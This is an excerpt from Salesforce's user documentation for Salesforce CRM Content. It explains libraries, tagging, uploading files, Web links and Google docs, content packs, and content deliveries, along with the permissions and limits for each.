Contributing Uploading new or revised files in Salesforce CRM Content is fast and easy. During the upload process you choose a library and content type for your file or Web link, write a description, assign one or more tags, and fill out any customized fields that help categorize and define your content. Version management does not require checking files in and out, rather, you simply upload a new version of the file and Salesforce CRM Content maintains a version list accessible from the content details page. You can download past versions of a file and read all reason-for-change comments that an author may have included with a new version. Reviewing Usage and Providing Feedback Salesforce CRM Content provides several methods for determining whether content is valuable to readers. Featuring a piece of content increases its visibility in search results. Voting thumbs up or thumbs down on a file, Web link, or Google doc and adding comments allow you to participate directly in content improvement. You can also see who has subscribed to a file, link, or doc and how many times files have been downloaded. The Reports tab allows you to create standard or custom reports on Salesforce CRM Content data. If the content delivery feature is enabled, you can send content to colleagues, leads, and contacts and then track how often the content has been previewed or downloaded. Sharing Content in Salesforce Salesforce CRM Content is also integrated with leads, accounts, contacts, opportunities, cases, products, and custom objects. If Salesforce CRM Content functionality is enabled on the Opportunity tab, for example, Salesforce CRM Content uses the fields on the opportunity detail page to search for files that may be relevant to that opportunity. You can drill down in the search results as needed or run your own search and then attach one or more files to the opportunity. The most current version of the file will be available on the detail page for the life of the opportunity. Sharing Content in Salesforce Mobile Salesforce CRM Content is available in Salesforce Mobile. Users can share content with customers and colleagues from the mobile application when they're away from their desks. To enable Salesforce CRM Content for the mobile application, mobilize the content object and specify which content records are synchronized to the mobile device.

Implementation Tips
To implement Salesforce CRM Content for your organization, see Setting Up Salesforce CRM Content on page 1490. Before creating libraries, review the files you plan to store in Salesforce CRM Content to determine how many libraries you need and what content belongs in each library. Users are given access to content based on library. If you have a large number of Salesforce CRM Content users, create a public group and add the group to a library rather than adding users to the library individually. To enable Salesforce CRM Content functionality for leads, accounts, contacts, opportunities, cases, products, or custom objects, add the Related Content related list to the appropriate page layout. For more information, see Customizing Page Layouts on page 1311. To send web-formatted content to colleagues, leads, or contacts and associate it with Salesforce records, add the Content Deliveries related list to the page layout for leads, accounts, contacts, opportunities, cases, campaigns, or custom objects. For more information about content deliveries and a full list of implementation tips and best practices, see Setting up Content Deliveries on page 1508. To allow users to publish, edit, and search in any of the Salesforce-supported languages, go to Your Name > Setup > Customize > Salesforce CRM Content > Settings and click Enable multi-language search and contribute. To associate Google docs with a library, the Add Google Doc to Salesforce service must be activated for your organization. For more information, see Activating Google Docs in Salesforce on page 330. If you want PDFs to open inline rather than in a separate window, go to Your Name > Setup > Customize > Salesforce CRM Content > Settings and click Do not open PDFs in a separate window. Copy-protected PDFs can't be previewed. Salesforce CRM Content is available via the Customer Portal and partner portal. For more information, see Enabling Salesforce CRM Content in the Customer Portal on page 1777 and Enabling Salesforce CRM Content in the Partner Portal on page 3683.

291

Salesforce CRM Content

Managing Libraries

For information about using Google Docs with Salesforce CRM Content, see Contributing Google Docs to Salesforce CRM Content on page 302. All Salesforce CRM Content items display as primary tabs in the Service Cloud Console. For more information, see Service Cloud Console Overview on page 3501.

Best Practices
If you are using the Related Content related list on Salesforce objects, align your custom content fields with the standard and custom fields on the object to increase the accuracy of a Find Content search. Clicking the Find Content button on the related list matches content to the fields on the record and displays search results containing the related content. To ensure that content is classified consistently, define consistent tag names with your contributors. For example, by establishing tag names at the outset, you can avoid having tags such as channel and channels in the same library. Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and subscribe. Therefore, excessive tagging creates unnecessary clutter. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used. To highlight valuable content and make it easier to find, mark it as featured on the content details page. Featured content receives a higher priority than similar content in search results, and appears on the Libraries tab for easy access. To feature content, users must have the Feature Content option checked in their library permission. If your organization uses Google Docs, encourage library members to add their Google docs to a library. Including Google docs in Salesforce CRM Content allows users to access all types of content from a single location and apply Salesforce CRM Content functionality, such as votes, comments, and subscriptions, to Google docs.

Managing Libraries
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create libraries: Manage Salesforce CRM Content OR Create Libraries To edit libraries: Manage Salesforce CRM Content OR
Manage Libraries checked in your library permission

definition

Clicking the Libraries tab opens the libraries home page. On the home page you can access your personal library, create new libraries in Salesforce CRM Content, choose a specific library to view or edit, and analyze library usage and activity. For details about the publishing options at the top of the page, see Uploading and Publishing Content on page 297. The libraries home page has two tabs: Shared Content, which provides information about shared libraries, and My Personal Content, which contains information about your personal library.

292

Salesforce CRM Content

Managing Libraries

Shared Content
The Shared Content tab on the libraries home page contains the following sections: My Libraries This section lists all the libraries to which you have access. Click a library name to view details about that library or click Browse to view a list of all the content in the library. Click the New button to create new libraries, add users to a library, or assign library permissions to users. For more information, see Creating Libraries on page 1504. Featured Content This section lists the five pieces of content in your libraries most recently designed as featured. Featured content receives a higher priority than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured files with that term will appear at the top of the search results list. To see all featured content, click Show All. To toggle a piece of content's feature status on or off, go to its content details page. Top Content This section includes lists that summarize content activity across all your libraries. Each list sorts content according to specific criteria. Within a list, click a file icon to download content or click a title to open the associated content details page. In the Top Content section you can choose from the following categories: Publication DateThis content is sorted in descending order according to the most recent publication date. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the published files, Web links, and Google docs. Num DownloadsThis content is sorted in descending order according to the highest number of downloads. The bar graphic indicates how one record compares to another. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the downloaded content. RatingThis content is sorted in descending order according to the highest number of thumbs-up votes. Green and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the content with votes. Num CommentsThis content is sorted in descending order according to the highest number of viewer comments. The bar graphic indicates how one record compares to another. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.

Popular Tags This section, commonly referred to as a tag cloud, shows you how the content in your libraries has been labeled. Tags are descriptive terms assigned during upload or revision that help classify and organize content. Click a tag name to view search results containing all the files, Web links, and Google docs with that tag. The tag names increase in size within the tag cloud according to popularity, meaning that the largest tags have been assigned to the most content. You can choose to sort the tags alphabetically or by popularity. The tag cloud contains the 30 most popular tags. Recent Activity This section is a snapshot of activity within your libraries. It shows the most recent files, Web links, and Google docs to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records. Most Active Contributors This section shows the authors who have published content into your libraries most frequently. The names increase in size according to activity, so the largest names are the authors who have contributed the most content.

293

Salesforce CRM Content

Managing Libraries

My Personal Content
The My Personal Content tab on the libraries home page is your private library. When you upload or create content and do not select a public library, your content is stored in your private library. You can publish content to a public library at any time or leave content in your private library indefinitely. Content in your private library can be assembled in content packs. It can also be sent to leads and contacts outside your organization using the content delivery feature. See Setting up Content Deliveries on page 1508 for more information. The My Personal Content tab has the following sections: Personal Library If you choose the Save to my personal library option when publishing a file, Web link, content pack, or Google doc, your content is saved here. You can publish or delete files from this list or click the file's name to view its content details page. The following options that are available on the content details page for shared content are not available for personal-library content: tagging, rating, subscribing, tracking downloads, tracking subscriptions, or using custom fields. If you publish a file from the Personal Library list and click Cancel during the publishing process, your file is deleted. Upload Interrupted If an error occurs when you are uploading a new file, for example your browser crashes or your session times out, the file you were uploading is saved here. Click Publish to publish the file to a public library or save it to your personal library. If you click Cancel on the Save or Publish Content dialog, your file will be deleted. Revision Upload Interrupted If an error occurs when you are uploading a new version of a file, the file you were uploading is saved here. Users can continue to access the original version. Click Publish to publish the file to a public library or save it to your personal library. If you click Cancel on the Save or Publish Content dialog, your file will be deleted.

See Also:
Creating Libraries Managing Library Permissions Viewing and Editing Libraries Uploading and Publishing Content Searching for Content Creating Content Deliveries

294

Salesforce CRM Content

Viewing and Editing Libraries

Viewing and Editing Libraries


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit a library: Manage Salesforce CRM Content OR


Manage Libraries checked in your library permission

definition To add or remove library members: Manage Salesforce CRM Content OR


Manage Libraries checked in your library permission

definition

Once you have located a Salesforce CRM Content library in the My Libraries area of the Libraries tab home page or on a content details page, click the library name to display detailed information. For details about the publishing options at the top of the page, see Uploading and Publishing Content on page 297. From the library title area, you can click the following quick links: Browse to view search results showing all the content in the library. Edit to change the library name or description. Delete to delete an empty library. If you want to delete a library that contains content, you must first move the content to another library or delete it and empty the Recycle Bin. Note: If your Recycle Bin is empty and you are unable to delete the library, another user's Recycle Bin may contain deleted content from the same library. A library cannot be deleted until all its content is permanently deleted or moved to another library. Edit Members to add or remove library members or change their library permission. Tagging Rules to change the tagging method permitted in the library. Content Types to restrict the content types available to library contributors. View Archived Content to view a list of archived content in the library. If you do not have the Archive Content or Manage Libraries privilege in your library permission, the archived content list only contains content that you authored and archived, not content that other authors archived.

The library detail page contains the following sections: Members This section lists all the Salesforce CRM Content users who are members of the library. To limit the member list, enter a username and click Filter. You can filter by the beginning of a username but not the last name. To add new members to the library:

295

Salesforce CRM Content

Viewing and Editing Libraries

1. Click Add Members. 2. If you do not immediately see the member you want to add, enter keywords in the search box and click Find. 3. Select members from the Available Members box. Members can include individual Salesforce CRM Content users or public groups containing Salesforce CRM Content users. Tip: If you have a large number of Salesforce CRM Content users, create a public group and add the group to a library rather than adding users to the library individually. 4. Click Add to add the members to the library. 5. Click Next. 6. Select a library permission for each user or public group and click Save. To remove a member from the library, click Remove. To change a member's library permission, click Edit and choose a new library permission from the drop-down list. Featured Content This section lists the five pieces of content in the library most recently designated as featured. If no content has been featured, this section does not display. Featured content receives a higher priority than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured files with that term will appear at the top of the search results list. To see all featured content, click Show All. To toggle the feature status on or off, go to its content details page. Top Content This section includes lists that summarize content activity in your library. Within a list, click a file icon to download the content or click the title to open the associated content details page. In the Top Content section you can choose from the following categories: Publication DateThis content is sorted in descending order according to the most recent publication date. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the published files, Web links, and Google docs. Num DownloadsThis content is sorted in descending order according to the highest number of downloads. The bar graphic indicates how one record compares to another. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the downloaded content. RatingThis content is sorted in descending order according to the highest number of thumbs-up votes. Green and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the content with votes. Num CommentsThis content is sorted in descending order according to the highest number of viewer comments. The bar graphic indicates how one record compares to another. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.

Popular Tags This tag cloud shows you how the content in your library has been labeled. Tags are descriptive terms assigned during upload or revision that help classify and organize content. Click a tag name to view search results containing all the files, Web links, and Google docs with that tag. The tag names increase in size within the tag cloud according to popularity, meaning that the largest tags have been assigned to the most content. You can choose to sort the tags alphabetically or by popularity. The tag cloud contains the 30 most popular tags.

296

Uploading and Publishing

Uploading and Publishing Content

Recent Activity This section is a snapshot of activity within your library. It shows the most recent files, Web links, and Google docs to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records. Most Active Contributors This section shows the authors who have uploaded content into your library most frequently. The names increase in size according to activity, so the largest names are the authors who have contributed the most content.

See Also:
Managing Libraries Creating Libraries Assigning Library Tagging Rules Restricting Content Types Searching for Content Uploading and Publishing Content Deleting, Archiving, and Restoring Content

UPLOADING AND PUBLISHING


Uploading and Publishing Content
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload and publish files and Web links:
Manage Libraries checked in your library permission

definition OR
Add Content checked in your library permission definition

To create and publish Google docs:

Google Apps account

The Libraries tab has several publishing-related options at the top of the page that let you upload, classify, and publish files, content packs, Web links, and Google docs in Salesforce CRM Content. Note: The Add Google Doc drop-down list on the Libraries tab only displays if your administrator has enabled the Add Google Doc to Salesforce service. For more information, see Activating Google Docs in Salesforce on page 330. For information about associating Google docs with Salesforce CRM Content from your Google Apps account, see Installing the Add Google Doc to Salesforce Browser Button on page 335.

297

Salesforce CRM Content

Contributing Files to Salesforce CRM Content

To publish files, Web links, and Google docs in Salesforce CRM Content, or to create content packs, refer to the following topics: Contributing Files to Salesforce CRM Content Contributing Web Links to Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content Creating and Modifying Content Packs in Salesforce CRM Content

See Also:
Salesforce CRM Content File Size Limits Using Google Docs in Salesforce Searching for Content Updating Content Versions

Contributing Files to Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload and publish files to a public library:


Manage Libraries checked in your library permission

definition OR
Add Content checked in your library permission definition

To upload and save files to a personal library:

None

To publish a file in Salesforce CRM Content: 1. Click the Libraries tab. 2. To publish a new file, click Browse and select the file. To publish a file that is already in your personal library, click the My Personal Content tab, locate the file, and then click Publish. Note: To publish multiple pieces of content at once, select two or more checkboxes in the My Personal Content tab and click Publish Selected. All selected content displays in a tab set within the Save or Publish Content dialog. Complete the following steps for each tab in the Save or Publish Content dialog. 3. Assign a title and description to your file. 4. Choose a library. This becomes the managing (home) library, meaning that the content can be shared with another library but only revised by a user with author permissions in the managing library. If you do not want the content to be visible to other users in your organization, for example if your work is still in progress, choose Save in my personal library. 5. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users

298

Salesforce CRM Content

Contributing Files to Salesforce CRM Content

restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. 6. To publish the content on behalf of another author, choose that author from the drop-down list. 7. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. 9. After completing the custom fields, click Publish or Save. Note: Unique values in custom fields that are set for the first version of a file aren't included if you upload a new version. You can set the unique values in the new version as long as they aren't the same as a previous version. Files published to a shared library are added to your Files tab and available to other Chatter users in your organization. Files published to your personal library are added to your Files tab, but are private and not shared with anyone. For more information about Chatter files and Salesforce CRM Content files, see What is the difference between Files, Salesforce CRM Content, Salesforce Knowledge, and Documents? on page 3776 Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of 5,000 new versions per 24hour period. Developer Edition and trial users can publish a maximum of 2,500 new versions per 24hour period.

See Also:
Salesforce CRM Content File Size Limits Uploading and Publishing Content Managing Libraries Contributing Web Links to Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content

299

Salesforce CRM Content

Salesforce CRM Content File Size Limits

Salesforce CRM Content File Size Limits


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The following are maximum file size limits for files in Salesforce CRM Content: 2 GB 10 MB for Google Docs 38 MB when uploaded via the API 10 MB when uploaded via Visualforce

See Also:
Uploading and Publishing Content Using Google Docs in Salesforce Searching for Content Updating Content Versions

Contributing Web Links to Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To publish Web links in Salesforce CRM Content:


Manage Libraries checked in your library permission

definition OR
Add Content checked in your library permission definition

To classify and publish a Web link in Salesforce CRM Content: 1. Click the Libraries tab. 2. To add a new link, click Contribute > Do you want to link to a website instead?, then enter the URL, and click Contribute. To publish a link that is already in your personal library, click the My Personal Content tab, locate the link, and click Publish. Note: To publish multiple pieces of content at once, select two or more checkboxes in the My Personal Content tab and click Publish Selected. All selected content displays in a tab set within the Save or Publish Content dialog. Complete the following steps for each tab in the Save or Publish Content dialog. 3. Assign a title and description to your Web link.

300

Salesforce CRM Content

Contributing Web Links to Salesforce CRM Content

4. Choose a library. This becomes the managing (home) library, meaning that the Web link can be shared with another library but its content details page can only be edited by a user with relevant permissions in the managing library. If you do not want the link to be visible to other users in your organization, choose Save in my personal library. 5. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. 6. To publish the content on behalf of another author, choose that author from the drop-down list. 7. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. 9. After completing the custom fields, click Publish or Save.

See Also:
Uploading and Publishing Content Contributing Files to Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content

301

Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content


Salesforce CRM Content is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Google Docs is available in all editions

User Permissions Needed Creating a Google doc and linking it to a Salesforce CRM Content library: Library member with a library permission that permits contributing content AND Google Apps account With Google Docs, you can create and share on-demand documents, presentations, and spreadsheets (Google docs) and see your changes in real time as you collaborate with other users. Associating your Google docs with Salesforce CRM Content allows you to access all types of content from a single, fully-indexed location. It also ensures that your Google docs receive the feedback and tracking benefits provided by Salesforce CRM Content features such as votes, comments, and subscriptions. Note: The Add Google Doc drop-down list on the Libraries tab only displays if your administrator has enabled the Add Google Doc to Salesforce service. For more information, see Activating Google Docs in Salesforce on page 330. For information about associating Google docs with Salesforce CRM Content from your Google Apps account, see Installing the Add Google Doc to Salesforce Browser Button on page 335. Adding New Google Docs to a Salesforce CRM Content Library 1. On the Libraries tab, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc drop-down button. You may be prompted to log in to Google Apps. 2. Enter a name for your document, spreadsheet, or presentation and click Create Google Doc. The blank Google doc opens and you can begin adding your text. The Save or Publish Content dialog in Salesforce CRM Content also opens. 3. In the Save or Publish Content dialog: a. Optionally, provide a description of your Google doc. The description provides at-a-glance information for users who view the doc's content details page in Salesforce CRM Content. b. Choose a library. If you do not want to put the doc in a public library, for example if the doc is still in progress, choose Save in my personal library. c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. d. To publish the content on behalf of another author, choose that author from the drop-down list. e. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.

302

Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content

If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content library, or click Cancel to save the doc to your personal library. From there you can delete the doc from Salesforce CRM Content or publish it later. Once a Google doc is published in Salesforce CRM Content, all library members can search for the doc and provide feedback such as comments and votes. Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization. Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM Content. Adding Existing Google Docs to a Salesforce CRM Content Library If you have an existing Google doc, you can publish it into a library: 1. On the Libraries tab, choose Add Existing from the Add Google Doc drop-down button. A list of all the Google docs in your Google Apps account displays. 2. Optionally, limit your list of docs by entering a search term or choosing to view only documents, presentations, or spreadsheets. 3. Select the Google doc that you want to add to Salesforce CRM Content and click Contribute. 4. Optionally, edit the title of your Google doc and/or add a description. 5. Choose a library. If you do not want to add the doc to a public library, for example if the doc is still in progress, choose Save in my personal library. 6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. 7. To publish the content on behalf of another author, choose that author from the drop-down list. 8. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content.

303

Salesforce CRM Content

Creating and Modifying Content Packs in Salesforce CRM Content

10. After completing the custom fields, click Publish or Save.

See Also:
Salesforce CRM Content File Size Limits Using Google Docs in Salesforce Uploading and Publishing Content

Creating and Modifying Content Packs in Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or modify content packs in Salesforce CRM Content:
Manage Libraries checked in your library permission

definition OR
Add Content checked in your library permission definition

A content pack is a collection of related documents or files that are stored as a group in Salesforce CRM Content. For example, you may want to create a content pack with a product list, price quote, and contract to send to a particular customer. Any file in Salesforce CRM Content can be added to a content pack, from traditional business documents such as Microsoft PowerPoint presentations and Adobe PDF files, to audio files, video files, and Google docs. Using email or instant messaging, you can distribute the content pack to colleagues in your organization or leads and contacts outside your organization. The recipient of a content delivery can click a single URL to open a preview player with which he or she can preview and download the content. You can then view tracking information to see how often the content pack was viewed and which documents were downloaded. For information about delivering content packs, see Setting up Content Deliveries on page 1508. Note: Content packs support all files types; however, the preview player launched by the content-delivery URL displays only PowerPoint, Word, Excel, and PDF files. The preview player does not display copy-protected PDFs. Also, working with content packs requires Adobe Flash Player, version 9.0.11.5 or higher. If you do not have Flash installed, Salesforce provides a link to Adobe's website where you can download Flash for free. To work with content packs: 1. Depending on whether you want to create, customize, or modify a content pack, use one of the following options: Note: The following options are only available if Enable content pack creation is selected on the Your Name > Setup > Customize > Salesforce CRM Content > Settings page. If content pack creation is disabled after packs have been created, Salesforce does not delete existing packs but they cannot be customized or modified. To create a new content pack, click the Libraries tab and then choose Create New > Content Pack. To create a new content pack by copying an existing pack and adding, removing, or reordering files, open the content details page for the pack and click Clone & Customize.

304

Salesforce CRM Content

Creating and Modifying Content Packs in Salesforce CRM Content

To update a content pack and publish a new version, open the content details page for the pack and click Edit > Edit Content Pack.

2. Click Search files to display all the content in your libraries. To refine your results, select a specific library to search or enter a search term in the text box. In addition to files and documents, search results also list content packs. 3. Drag the desired content from the search results into the assembly section in the lower half of the window. The following options help you assemble your content pack: In the search results, click a document to preview it in the lower half of the window. Choose Add to Content Pack or Hide preview as needed. In the search results, hover over a document and click the folder icon ( ) to view the content packs that use the document. In the search results, hover over a content pack and click the folder icon ( ) to view all the documents in the pack. In the assembly section, hover over a document and click the garbage can icon ( ) to remove that document from the pack you are assembling. Click Clear at any time to revert your changes; click Cancel to return to the Libraries tab. Note: The maximum number of files that can be included in a content pack is 50.

4. When you are done assembling or modifying your content pack, click Save and assign or change the content pack's name. 5. In the Save or Publish Content dialog: a. Select a library. If you do not want the content pack to be visible to other users in your organization, for example if your work is still in progress, choose Save in my personal library. b. Optionally, add or modify the content pack's description. c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. d. If you are modifying the content pack, complete the Reason for Change field. e. To publish the content on behalf of another author, choose that author from the drop-down list. f. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

305

Salesforce CRM Content

Using the Content Deliveries Related List

g. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. h. Click Publish. You can then view the content details page, return to the Libraries tab, or publish another file.

See Also:
Uploading and Publishing Content Deleting, Archiving, and Restoring Content Viewing and Editing Content Subscriptions

Using the Content Deliveries Related List


Available in: All Editions except Database.com

User Permissions Needed To create a content delivery: To edit a content delivery: None Owner of the record OR Modify all Data

A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the delivery is available to viewers and whether a viewer can download a file or see it online only. From the Content Deliveries related list on leads, business accounts, contacts, opportunities, cases, campaigns, and custom objects you can: Click Deliver Content to create a new content delivery and associate it with the record you are viewing. For more information, see Creating Content Deliveries on page 307. Click Preview to open the content delivery. Each time you view a content delivery, it is recorded as one internal view on the Views related list. Click the content delivery name to open the detail page for that delivery. For more information, see Viewing and Editing Content Deliveries on page 309.

See Also:
Salesforce CRM Content Overview

306

Salesforce CRM Content

Creating Content Deliveries

Creating Content Deliveries


Available in: All Editions except Database.com Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create content deliveries from a shared library in Salesforce Member of the library CRM Content: AND Deliver Content checked in your library permission definition To create content deliveries from a personal library inSalesforce Deliver Uploaded Files and Personal Content checked in CRM Content: your general permission definition To create content deliveries (non-Content user): Deliver Uploaded Files and Personal Content checked in your general permission definition

A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the delivery is available to viewers and whether a viewer can download a file or see it online only. A content delivery can be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content users can also create a content delivery from the content details page or the Related Content related list. To create a new content delivery: 1. From the Content Deliveries related list, Related Content related list, or the content details page, click Deliver Content. 2. Upload a file or confirm the file name. If you are a Salesforce CRM Content user, search for the content in your libraries that you want to deliver. Salesforce CRM Content users can search for content in shared libraries or a personal library. 3. Optionally, modify the Delivery Name field. This is the name that identifies your content delivery in Salesforce. We recommend using a name that will make the delivery easily distinguishable from other deliveries on the same record. The default delivery name includes the file name and todays date. 4. Select the delivery methods that determine how your content can be viewed. The options that appear depend on the file format you uploaded. Choose Allow Recipient to View in the Browser to create an online version of the file that recipients can view in their browser. Choose Allow Recipient to Download as [file type] file to allow the recipient of your content delivery to view the content in its original format. For example, if you uploaded a Microsoft Word file, this field will be Allow download as .doc file. Choose Allow Recipient to Download as PDF to create a .pdf version of the file. This option is only available for Microsoft PowerPoint, Word, and Excel files.

307

Salesforce CRM Content

Creating Content Deliveries

